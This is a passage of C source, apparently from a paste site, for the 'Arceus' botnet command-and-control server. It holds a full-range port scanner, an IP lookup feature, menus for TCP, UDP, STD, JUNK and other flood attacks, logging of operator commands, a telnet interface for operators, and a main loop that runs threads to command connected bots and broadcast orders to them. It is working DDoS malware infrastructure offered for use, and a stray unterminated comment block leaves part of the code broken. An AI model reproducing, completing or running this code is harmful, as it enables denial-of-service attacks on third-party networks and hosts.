  2285. // memset(managers[kdm].username, 0, sizeof(managers[kdm].username));
  2286. // }
  2287. // }
  2288. // }
  2289. // else
  2290. // {
  2291. // sprintf(arceus, "\x1b[31mPermission Denied, Admins Only!\x1b[37m\r\n");
  2292. // if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return;
  2293. // }
  2294. // }
  2295. else if(strstr(arceus_buffer_size, "PORTSCAN") || strstr(arceus_buffer_size, "portscan")) // Portscan Function - Easy And Stable Port Scan [II]
  2296. {
  2297. int unknown_integer; // We State X As The Unknown Integer [This Will Be The User Input]
  2298. int timeout_portscan = 3; // Create An Integer For The Time-Out, This Will Minimise Network Saturation
  2299. int start_port = 1; // Create An Integer For The First Port - [We Need A Start Point Of Course]
  2300. int end_port = 65535; // Create An Integer For The First Port - [We Need A End Point Of Course]
  2301. char host[16]; // Char Every Line For Output Communication
  2302. trim_removev2(arceus_buffer_size); // Trim [Buffer]
  2303. char *token = strtok(arceus_buffer_size, " "); // Char Every Line For Output Communication
  2304. snprintf(host, sizeof(host), "%s", token+strlen(token)+1); // Check Host, Create '+1' Token, Then Use 'Botnet'
  2305. snprintf(arceus, sizeof(arceus), "\e[91m[\e[91mArceus\e[91m] \e[91mChecking ports \e[91m[\e[91m%d\e[91m] \e[91mthrough \e[91m[\e[91m%d\e[91m] \e[91mFor IP\e[91m:[\e[91m%s\e[91m]\x1b[0m\r\n", start_port, end_port, host);
  2306. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // We Will Terminate Concurrent Function And Carry on.. Use Values As Follows 'unknown_integer'
  2307. for(unknown_integer=start_port; unknown_integer < end_port; unknown_integer++) // We Start From The Lowest Port To Biggest Port
  2308. {
  2309. int socket_propulsion_data = -1; // Create Integer For Socket - '-1'
  2310. struct timeval timeout; // We Are Creating A Timing System - This Is For Timeout, Creating Struct. For 'timeval-timeout'
  2311. struct sockaddr_in sock; // Struct. Creation Of socket_propulsion_data-Address
  2312. // set timeout secs
  2313. timeout.tv_sec = timeout_portscan; // Timeout - tv
  2314. timeout.tv_usec = 0; // Timeout - tv_usec
  2315. socket_propulsion_data = socket(AF_INET, SOCK_STREAM, 0); // Create Our TCP Socket Using AF_INET
  2316. setsockopt(socket_propulsion_data, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout)); // Setsockopt -- This Is Our RCV Time -- [Received]
  2317. setsockopt(socket_propulsion_data, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout)); // Setsockopt -- This Is Our SND Time -- [Sending]
  2318. sock.sin_family = AF_INET; // Socket-Sin, Family -- Using AF_INET
  2319. sock.sin_port = htons(unknown_integer); // Using 'htons' Set As The 'unknown_integer' Value
  2320. sock.sin_addr.s_addr = inet_addr(host); // State The 'inet' As The Host, Suffix Has Been Created, So Process Is Independent
  2321. if(connect(socket_propulsion_data, (struct sockaddr *)&sock, sizeof(sock)) == -1) close(socket_propulsion_data); // If The Packet Returned, It Will Not Be Displayed
  2322. else
  2323. { // If The Packet Returns From Handshake, The Port Is Open
  2324. snprintf(arceus, sizeof(arceus), "\e[91m[\e[91mArceus\e[91m] \e[91mPort\e[91m:[\e[91m%d\e[91m] \e[91mis open For IP\e[91m:[\e[91m%s\e[91m]\x1b[0m\r\n", unknown_integer, host);
  2325. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2326. memset(arceus, 0, sizeof(arceus)); // Fill In Data Block, Let's Keep Our Communication Stable
  2327. close(socket_propulsion_data); // Kill Our Open Socket - TCP
  2328. }
  2329. } // Scan Is Done -- Output
  2330. snprintf(arceus, sizeof(arceus), "\e[91m[\e[91mArceus\e[91m] \e[91mScan on IP\e[91m:[\e[91m%s\e[91m] \e[91mis Done!\x1b[0m\r\n", host);
  2331. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2332. }
  2333. else if(strstr(arceus_buffer_size, "iplookup") || strstr(arceus_buffer_size, "IPLOOKUP"))
  2334. {
  2335. char myhost[20]; // Char Every Line For Output Communication
  2336. char ki11[1024]; // Char Every Line For Output Communication // Ip Lookup Function
  2337. snprintf(ki11, sizeof(ki11), "%s", arceus_buffer_size); // Using Kill Prefix For Dynamic Integer
  2338. trim_removev2(ki11); // Trim [ki11]
  2339. char *token = strtok(ki11, " "); // Char Every Line For Output Communication
  2340. snprintf(myhost, sizeof(myhost), "%s", token+strlen(token)+1); // Host Size Statement, This Is For OCMIS [PSL-0012]
  2341. if(atoi(myhost) >= 8) // Bigger Than Int Value Of 8
  2342. {
  2343. int IPL_DATA; // Create Integer For 'IPL_DATA' -- Used In Each Value, For Time-Out Sequence
  2344. int ipl_integer_size = -1; // State IPLSOCK == -1 [Shouldn't Class With The Open Socket Via TCP]
  2345. char buffer_IPL[1024]; // Char Every Line For Output Communication
  2346. int source_port = 80; // Set Default Connection Port As [62141]
  2347. char ip_lookup_headers[1024]; // Char Every Line For Output Communication
  2348. struct timeval timeout; // Create Struct. For Time Interval Timeout
  2349. struct sockaddr_in sock; // Create Another Struct. For Socket-Address -> Socket
  2350.  
  2351. timeout.tv_sec = 4; // 4 second timeout
  2352. timeout.tv_usec = 0; // 0 second -- Run Function
  2353. ipl_integer_size = socket(AF_INET, SOCK_STREAM, 0); // Running Socketstream, Using Set Values - We Are Concurrent
  2354. sock.sin_family = AF_INET; // Socket Sin == Sin.family, Engages Better With Output Connection
  2355. sock.sin_port = htons(source_port); // htons, Is Dependent On The Connection Port -- Integer States Are Constant
  2356. sock.sin_addr.s_addr = inet_addr(iplookup_host); // Coherent Connection - Will Kill Socket If Lookup Is Incomplete
  2357. if(connect(ipl_integer_size, (struct sockaddr *)&sock, sizeof(sock)) == -1) // Check Using ipl_integer_size, If Connection Has Been Reached
  2358. {
  2359. //printf("[\x1b[31m-\x1b[37m] Failed to connect to iplookup host server...\n");
  2360. sprintf(arceus, "\x1b[31m[IPLookup] Failed to connect to iplookup server...\x1b[0m\r\n", myhost);
  2361. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return;
  2362. }
  2363. else // Else...
  2364. {
  2365. //printf("[\x1b[32m+\x1b[37m] Connected to iplookup server :)\n"); This Below, Is Our Header Sent To The API, This Shouldn't Cause Problems..
  2366. snprintf(ip_lookup_headers, sizeof(ip_lookup_headers), "GET /iplookup.php?host=%s HTTP/1.1\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nAccept-Encoding:gzip, deflate, sdch\r\nAccept-Language:en-US,en;q=0.8\r\nCache-Control:max-age=0\r\nConnection:keep-alive\r\nHost:%s\r\nUpgrade-Insecure-Requests:1\r\nUser-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36\r\n\r\n", myhost, iplookup_host);
  2367. if(send(ipl_integer_size, ip_lookup_headers, strlen(ip_lookup_headers), 0))
  2368. {
  2369. //printf("[\x1b[32m+\x1b[37m] Sent request headers to iplookup api!\n");
  2370. sprintf(arceus, "\e[91m[\e[91mArceus\e[91m] \e[91mGathering Information On IP:\e[91m[\e[91m%s\e[91m]\r\n", myhost); // IP Info -- Output
  2371. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return;
  2372. char ch; // Char Every Line For Output Communication
  2373. int retrv = 0; // Create Integer For 'Retrv' -- [OPEN INT == 0]
  2374. uint32_t header_parser = 0; // Let's Create A Header Parse, Under 32-bit Unsigned Integer, This Allows Accurate Value Statement
  2375. while (header_parser != 0x0D0A0D0A) // Set Header Parse Value = '0x0D0A0D0A'
  2376. {
  2377. if ((retrv = read(ipl_integer_size, &ch, 1)) != 1) // Check For Success, Using IPL socket_propulsion_data
  2378. break;
  2379.  
  2380. header_parser = (header_parser << 8) | ch; // Change Parser Value, Below '8'
  2381. }
  2382. memset(buffer_IPL, 0, sizeof(buffer_IPL)); // Fill Data Block, Stabilises On-going Process, Using Socket-Buffer
  2383. while(IPL_DATA = read(ipl_integer_size, buffer_IPL, 1024)) // Set Ret, To Read -- Buffer Size Stated Coherently, [1024]
  2384. {
  2385. buffer_IPL[IPL_DATA] = '\0'; // Break, Below Is An Alternative If A Second Function Is Added
  2386. /*if(strlen(buffer_IPL) > 1)
  2387. printf("\x1b[36m%s\x1b[37m\n", buffer);*/
  2388. }
  2389. //printf("%s\n", buffer_IPL); <---- This Would Be Used, If No Error Handling Is Needed. The User Will Not Be Informed With DETAILS
  2390. if(strstr(buffer_IPL, "<title>404")) // Use Header Title + Error 404 [Assumption Error = 404]
  2391. {
  2392. char iplookup_host_token[20]; // Char Every Line For Output Communication
  2393. sprintf(iplookup_host_token, "%s", iplookup_host); // %s Is Our Host Token, Set This As Our DISPLAY Variable
  2394. int ip_prefix = atoi(strtok(iplookup_host_token, ".")); // Create Integer For The IP Prefix, This Is Defined Using Our Received host_token
  2395. sprintf(arceus, "\x1b[31m[IPLookup] Failed, API can't be located on server %d.*.*.*:62141\x1b[0m\r\n", ip_prefix); // Error Handling -- No API Was Found, Defined By Host Token
  2396. memset(iplookup_host_token, 0, sizeof(iplookup_host_token)); // Fill Data Block Again, We Do This For Every Function, To Stop Instability and Saturation
  2397. }
  2398. else if(strstr(buffer_IPL, "nickers")) // Hehe.. ( ͡° ͜ʖ ͡°)
  2399. sprintf(arceus, "\x1b[31m[IPLookup] Failed, Hosting server needs to have php installed for api to work...\x1b[0m\r\n"); // Error Handling, Hosting Has No PHP..
  2400. else sprintf(arceus, "[+] \x1b[0m--- Results\x1b[0m --- [+]\r\n\x1b[0m%s\x1b[37m\r\n", buffer_IPL); // Output Results, From IP Lookup
  2401. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2402. }
  2403. else
  2404. {
  2405. //printf("[\x1b[31m-\x1b[37m] Failed to send request headers...\n");
  2406. sprintf(arceus, "\x1b[31m[IPLookup] Failed to send request headers...\r\n"); // Header Send[ Failed -- Probably Due To Some Sort Of DDoS Protection, [Cloudflare, Blazing, Etc..]
  2407. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2408. }
  2409. }
  2410. close(ipl_integer_size); // Terminate Allocated Statement, Open Socket, May Cause Numerous Network Problems If Not Killed...
  2411. }
  2412. }
  2413. if(strstr(arceus_buffer_size, ".logout") || strstr(arceus_buffer_size, ".LOGOUT")) // Logout Command, So The User Exits Safely And In Fashion.. Of course...
  2414. {
  2415. printf("\e[91m[\e[91mArceus\e[91m] \e[91mUser\e[91m:[\e[91m%s\e[91m] \e[91mHas Logged Out!\n", accounts[find_line].username, arceus_buffer_size); // We Are Attempting To Logout!
  2416. FILE *arceus_log_file;// We Are Attempting To Logout!
  2417. arceus_log_file = fopen("logs/Arceus_Logout.log", "a");// We Are Attempting To Logout!
  2418. fprintf(arceus_log_file, "\e[91m[\e[91mArceus\e[91m]\e[91m User\e[91m:[\e[91m%s\e[91m]\e[91m Has Logged Out!\n", accounts[find_line].username, arceus_buffer_size);// We Are Attempting To Logout!
  2419. fclose(arceus_log_file);// We Are Attempting To Logout!
  2420. goto finish_integer; // We Are Dropping Down to finish_integer:
  2421. } // Let Us Continue Our Journey!
  2422. if(strstr(arceus_buffer_size, "STOP")) // STOP OUR ATTACK
  2423. { // Let Us Continue Our Journey!
  2424. sprintf(arceus, " \e[91m╔═══════════════════════════════╗\r\n \e[91m║ \e[91mWhy did you stop? ): \e[91m║\r\n \e[91m║ \e[91mTesting something perhaps? \e[91m║\r\n \e[91m║ \e[91mMeh, its oki, trim_integer stopped </3 \e[91m║\r\n \e[91m╚═══════════════════════════════╝\r\n");
  2425. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return;
  2426. } // Let Us Continue Our Journey!
  2427. if(strstr(arceus_buffer_size, "CRUSH")) // CRUSH ATTACK
  2428. { // Let Us Continue Our Journey!
  2429. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m║ ╔════════════════════════════╗\r\n \e[91m║ \e[91mMethod: CRUSH \e[91m╠══════╣ \e[91m. STOP to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage: STD unknown_integer TCP \e[91m║ ╚════════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  2430. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return;
  2431. } // Let Us Continue Our Journey!
  2432. if(strstr(arceus_buffer_size, "COMBO")) // COMBO ATTACK
  2433. { // Let Us Continue Our Journey!
  2434. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m║ ╔════════════════════════════╗\r\n \e[91m║ \e[91mMethod: COMBO \e[91m╠══════╣ \e[91m. STOP to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage: JUNK unknown_integer HOLD \e[91m║ ╚════════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  2435. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return;
  2436. } // Let Us Continue Our Journey!
  2437. if(strstr(arceus_buffer_size, "TCP")) // TCP ATTACK
  2438. { // Let Us Continue Our Journey!
  2439. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m║ ╔════════════════════════════╗\r\n \e[91m║ \e[91mMethod: TCP \e[91m╠══════╣ \e[91m. STOP to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage: TCPFLOOD \e[91m║ ╚════════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  2440. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return;
  2441. } // Let Us Continue Our Journey!
  2442. if(strstr(arceus_buffer_size, "UDP")) // UDP ATTACK
  2443. { // Let Us Continue Our Journey! ╚═════════════════════════════╝ X 31 ||
  2444. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m ║ ╔════════════════════════════╗\r\n \e[91m║ \e[91mMethod: UDP \e[91m ╠══════╣ \e[91m. STOP to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage: UDPFLOOD \e[91m ║ ╚════════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  2445. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return;
  2446. } // Let Us Continue Our Journey!
  2447. if(strstr(arceus_buffer_size, "STD")) // STD ATTACK
  2448. { // Let Us Continue Our Journey!
  2449. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m ║ ╔════════════════════════════╗\r\n \e[91m║ \e[91mMethod: STD \e[91m ╠══════╣ \e[91m. STOP to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage: STDFLOOD \e[91m ║ ╚════════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  2450. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return;
  2451. } // Let Us Continue Our Journey!
  2452. if(strstr(arceus_buffer_size, "STOMP")) // STOMP ATTACK
  2453. { // Let Us Continue Our Journey!
  2454. sprintf(arceus, " \e[91m╔════════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m║ ╔════════════════════════════╗\r\n \e[91m║ \e[91mMethod: STOMP \e[91m╠══════╣ \e[91m. STOP to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage: UDP unknown_integer STD unknown_integer TCP \e[91m║ ╚════════════════════════════╝\r\n \e[91m╚════════════════════════╝\r\n");
  2455. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return;
  2456. } // Let Us Continue Our Journey!
  2457. if(strstr(arceus_buffer_size, "JUNK")) // JUNK ATTACK
  2458. { // Let Us Continue Our Journey! ╚══════════════════════╝ unknown_integer 24 || ╔════════════════════════╗ unknown_integer 26
  2459. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m ║ ╔════════════════════════════╗\r\n \e[91m║ \e[91mMethod: JUNK \e[91m ╠══════╣ \e[91m. STOP to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage: JUNKFLOOD \e[91m ║ ╚════════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  2460. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return;
  2461. } // Let Us Continue Our Journey!
  2462. if (strstr(arceus_buffer_size, "EXIT") || strstr(arceus_buffer_size, "exit")) // We Are Closing Connection!
  2463. { // Let Us Continue Our Journey!
  2464. goto finish_integer; // We Are Dropping Down to finish_integer:
  2465. } // Let Us Continue Our Journey!
  2466. trim_removev2(arceus_buffer_size);
  2467. sprintf(arceus, "\e[91m[\e[91m%s\e[91m@\e[91mArceus\e[91m]\e[38;5;154m$\e[91m ", accounts[find_line].username, arceus_buffer_size); // User Input - Hostname
  2468. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) goto finish_integer; // // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2469. if(strlen(arceus_buffer_size) == 0) continue;
  2470. printf("\e[91m[\e[91mArceus\e[91m] \e[91mUser\e[91m:[\e[91m%s\e[91m] \e[91m- \e[91mCommand\e[91m:[\e[91m%s\e[91m]\n",accounts[find_line].username, arceus_buffer_size);
  2471. FILE *arceus_log_file;
  2472. arceus_log_file = fopen("logs/Arceus_C2.log", "a"); // Log Our User -- Just In Case There Are 'Certain Problems'
  2473. fprintf(arceus_log_file, "\e[91m[\e[91mArceus\e[91m] \e[91mUser\e[91m:[\e[91m%s\e[91m] \e[91m- \e[91mCommand\e[91m:[\e[91m%s\e[91m]\n", accounts[find_line].username, arceus_buffer_size);
  2474. fclose(arceus_log_file); // Close The Log File
  2475. arceus_broadcast(arceus_buffer_size, clear_arceus_broadcast, usernamez); // Broadcast The Following Stated -- [Buffer, clear_arceus_broadcast, Usernames]
  2476. memset(arceus_buffer_size, 0, 2048); // Set Data Block And Buffer Size --> 0 -- 2048
  2477. } // Let Us Continue Our Journey!
  2478. finish_integer: // cleanup dead socket
  2479. managements[clear_arceus_broadcast].transmitted_successfully = 0; // Managments Connected, Decrease Value To The Following Value
  2480. close(clear_arceus_broadcast); // Close..
  2481. successful_transmission--; // Display New Value [May Change Output Sequence Later.. It Is Quite Stable]
  2482. }
  2483.  
  2484. void *socket_interpretation_II(int port) // Void, Certain Elements That Will Tailor The Client... [SOCKET INTERPRETATION II.2] -- [STILL IN BETA STAGES, WORK IN PROGRESS...]
  2485. {
  2486. int socket_file_descriptor1, socket_file_descriptor2; // Create Integer For Socket-Feed, New Socket Feed, Automatically Will Write A New Call --
  2487. socklen_t clilen; // New Call Name - Unecessary, But Just Incase, Compiling Is Very Needy And Dependent..
  2488. struct sockaddr_in serv_addr, cli_addr; // Create Struct. For Socket Address.. This Will Subside With Client Address
  2489. socket_file_descriptor1 = socket(AF_INET, SOCK_STREAM, 0); // New Socket Interpreter -- [Made By Zach, I Will Change Subsiding Unit Once Connection Has Been Made]
  2490. if (socket_file_descriptor1 < 0) perror("ERROR opening socket"); // Socket Error Handling, The Stated Integer Value SHOULD NOT Be Greater Than 0 If So, Display Error
  2491. bzero((char *) &serv_addr, sizeof(serv_addr)); // We Will Char An Output Communication Towards The Socket, The Broadcast Will Be Constant
  2492. serv_addr.sin_family = AF_INET; // Our Socket Properties Will Be Set, Using AF_INET. Everything Together = Sin.Family
  2493. serv_addr.sin_addr.s_addr = INADDR_ANY; // Sin Address, Is The Internet Address, It Will Be Set Due To The Client Sending An Income Packet [Test Packet]
  2494. serv_addr.sin_port = htons(port); // Using 'htons' We Will Convert The Port Value, Into A Network Integer For The Server To Communicate Properly
  2495. if (bind(socket_file_descriptor1, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("[Arceus] Screening Error"); // Error Handling Output - Probably Using The Same Port As The Listener
  2496. listen(socket_file_descriptor1,5); // Use Listen Function - Using The '5' Value
  2497. clilen = sizeof(cli_addr); // Define 'clilen' With The Size Of Our Client Address [ User Connecting To The C2 ]
  2498. while(1)
  2499. { printf("\e[91m[\e[91mArceus\e[91m] \e[91mIncoming User Connection From "); // Client Size == The IP Of The User Connecting
  2500. /*
  2501. #define MY_SOCK_PATH "/somepath"
  2502. #define LISTEN_BACKLOG 50
  2503.  
  2504. #define handle_error(msg) \
  2505. do { perror(msg); exit(EXIT_FAILURE); } while (0)
  2506.  
  2507. int
  2508. main(int argc, char *argv[])
  2509. {
  2510. int sfd, cfd;
  2511. struct sockaddr_un my_addr, peer_addr;
  2512. socklen_t peer_addr_size;
  2513.  
  2514. sfd = socket(AF_UNIX, SOCK_STREAM, 0);
  2515. if (sfd == -1)
  2516. handle_error("socket");
  2517.  
  2518. memset(&my_addr, 0, sizeof(struct sockaddr_un));
  2519.  
  2520. my_addr.sun_family = AF_UNIX;
  2521. strncpy(my_addr.sun_path, MY_SOCK_PATH,
  2522. sizeof(my_addr.sun_path) - 1);
  2523.  
  2524. if (bind(sfd, (struct sockaddr *) &my_addr,
  2525. sizeof(struct sockaddr_un)) == -1)
  2526. handle_error("bind");
  2527.  
  2528. if (listen(sfd, LISTEN_BACKLOG) == -1)
  2529. handle_error("listen");
  2530.  
  2531. peer_addr_size = sizeof(struct sockaddr_un);
  2532. cfd = accept(sfd, (struct sockaddr *) &peer_addr,
  2533. &peer_addr_size);
  2534. if (cfd == -1)
  2535. handle_error("accept");
  2536.  
  2537. /* Code to deal with incoming connection(s)...
  2538.  
  2539. /* When no longer required, the socket pathname, MY_SOCK_PATH
  2540. should be deleted using unlink(2) or remove(3)
  2541. */
  2542. arceus_client_address(cli_addr); // Set Client Address, As Variable In Order To Log
  2543. FILE *arceus_log_file; // Use LogFILE Function
  2544. arceus_log_file = fopen("logs/Arceus_Connection.log", "a"); // Create Our Log File.. |Here Is The Output On The Admin Screen|
  2545. fprintf(arceus_log_file, "\e[91m[\e[91mArceus\e[91m] \e[91mIncoming User Connection From \e[91mIP:\e[91m[\e[91m%d.%d.%d.%d\e[91m]\n",cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  2546. fclose(arceus_log_file); // Close Our Log File, After Connection [Client Address] Has Been Logged..
  2547. socket_file_descriptor2 = accept(socket_file_descriptor1, (struct sockaddr *) &cli_addr, &clilen); // Accept New Socket, Minimises Error Of Binding Failure
  2548. if (socket_file_descriptor2 < 0) perror("ERROR on accept"); // Output An Acceptance -- Something's Went Wrong -- Hard To Detail
  2549. pthread_t thread; // Use Pthread, To Set All Network Functions As One Thread -- [So We Can Parse Threads To The Client]
  2550. pthread_create( &thread, NULL, &arceus_telnet_data, (void *)socket_file_descriptor2); // Create The Thread '&thread, NULL, &arceus_telnet_data, (void *)socket_file_descriptor2'
  2551. }
  2552. }
  2553.  
  2554. int main (int argc, char *argv[], void *sock) // Set Integers For Arguements - Then Char For Output Communication
  2555. {
  2556. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  2557. int s, threads, port; // Creating Integers For 'Threads & Port'
  2558. struct epoll_event event; // Create Struct, For EPOLL, We Will Use This For Our Sockets
  2559. if (argc != 4) // Set Argument Value, [Default Execution Output Argument Value]
  2560. {
  2561. fprintf (stderr, "\e[91mWelcome To Arceus-BETA-\e[91m9\n");
  2562. fprintf (stderr, "Usage: %s \e[91m[\e[91mport\e[91m] [\e[91mthreads\e[91m] [\e[91mcnc-port\e[91m]\n", argv[0]); // Display Help [Only If All Arguments Have Not Been Applied]
  2563. exit (EXIT_FAILURE); // No Failure, Just No Arguments
  2564. }
  2565. port = atoi(argv[3]); // Set Argument Value '3' - For Port
  2566. threads = atoi(argv[2]); // Set Argument Value '2' - For Threads
  2567. if (threads > 1000) // Thread Limit - Change It If You Want - These Are My Recommendations
  2568. {
  2569. printf("[Arceus] Thread Limit Exceeded! Please Lower Threat Count!\n"); // Are You Stupid? - Do You Wanna Really Try To Broadcast With EXTREME Network Output??
  2570. return 0; // Kill
  2571. }
  2572. else if (threads < 1000) // You Have Picked A Reasonible Thread Number - Thank You For Listening To Me :)
  2573. {
  2574. printf(""); // printf("Well Done You Absolute Uncultured Swine, You Aren't A Skid After All...");
  2575. }
  2576. printf("\e[91m╔═══════════════════════════════════╗\r\n\e[91m║ \e[91mWelcome To Arceus \e[91m║\r\n\e[91m║ \e[91mC2 x Telnet Layer \e[91m╠════════╗\r\n\e[91m║ \e[91mServer Is Sucessfully Screened! \e[91m║ ║ ╔════════════════════════╗\r\n\e[91m╚═════╦═════════════════════════════╝ ╚═════╣ \e[91mCreated By Jack x Zach \e[91m║\r\n \e[91m║ ╚═════╦══════════════════╝\r\n \e[91m║ ╔════╗ \e[91m║\r\n \e[91m╚═══╣ \e[91m<3 \e[91m╠═════╗ ╔════════════╗ \e[91m║\r\n \e[91m╚════╝ ║ ║ \e[91mRIP Katura \e[91m╠════════════╝\r\n \e[91m║ ╚═══╦════════╝\r\n \e[91m║ ║\r\n \e[91m║ ║\r\n \e[91m╚═════════════╝\r\n");
  2577. listeninginterpretation = socket_intepretation_modified(argv[1]); // try to create a listening socket, die if we can't
  2578. if (listeninginterpretation == -1) abort(); // Killing Myself
  2579.  
  2580. s = socket_interpretation_block_v1 (listeninginterpretation); // try to make it nonblocking, die if we can't
  2581. if (s == -1) abort(); // Killing Myself
  2582.  
  2583. s = listen (listeninginterpretation, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  2584. if (s == -1) // Check If I Wanna Die..
  2585. {
  2586. perror ("arceus_listening_interpretation : failed"); // Listen - Error
  2587. abort (); // Yep, I wanna die..
  2588. }
  2589. bindinginterpreter = epoll_create1 (0); // make an epoll listener, die if we can't
  2590. if (bindinginterpreter == -1) // Check If I Wanna Die Again..
  2591. {
  2592. perror ("arceus_socket_binding_epoll : failed"); // EPOLL_ERROR - Yeah...
  2593. abort (); // Okay Sure, Let's Die..
  2594. }
  2595. event.data.fd = listeninginterpretation; // EPOLL_EVENT DATA
  2596. event.events = EPOLLIN | EPOLLET; // EPOLL_USE MODULES
  2597. s = epoll_ctl (bindinginterpreter, EPOLL_CTL_ADD, listeninginterpretation, &event); // EPOLL_USE_MODULES -- USE FUNCTION : (bindinginterpreter, EPOLL_CTL_ADD, listeninginterpretation, &event)
  2598. if (s == -1) // Check If I Wanna Die Again..
  2599. {
  2600. perror ("arceus_epoll_ctl : failed");
  2601. abort (); // Yeah, Let's Die.. One More Time..
  2602. }
  2603. pthread_t thread[threads + 2]; // Use Pthread Thread + 2, Because We Want A Strong Independent Connection
  2604. while(threads--) // While [Thread Count]
  2605. {
  2606. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  2607. }
  2608. pthread_create(&thread[0], NULL, &socket_interpretation_II, port); // Make A Thread To Individually Subside The Network Functions To The Client
  2609. while(1) // Let's Wait A WHILE... [1 Second.. We Want Stability.. Right??]
  2610. {
  2611. arceus_broadcast("SUCC", -1, "STRING"); // Broadcast
  2612. sleep(60); // Lemme Sleep The Thread For 60 Seconds..
  2613. }
  2614. close (listeninginterpretation); // Close The Listening FileD, Socket -- Terminate Concurrent Function
  2615. return EXIT_SUCCESS; // Exit Successfully, Using Return Statement.
  2616. } // Arceus I [BETA] - 10
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement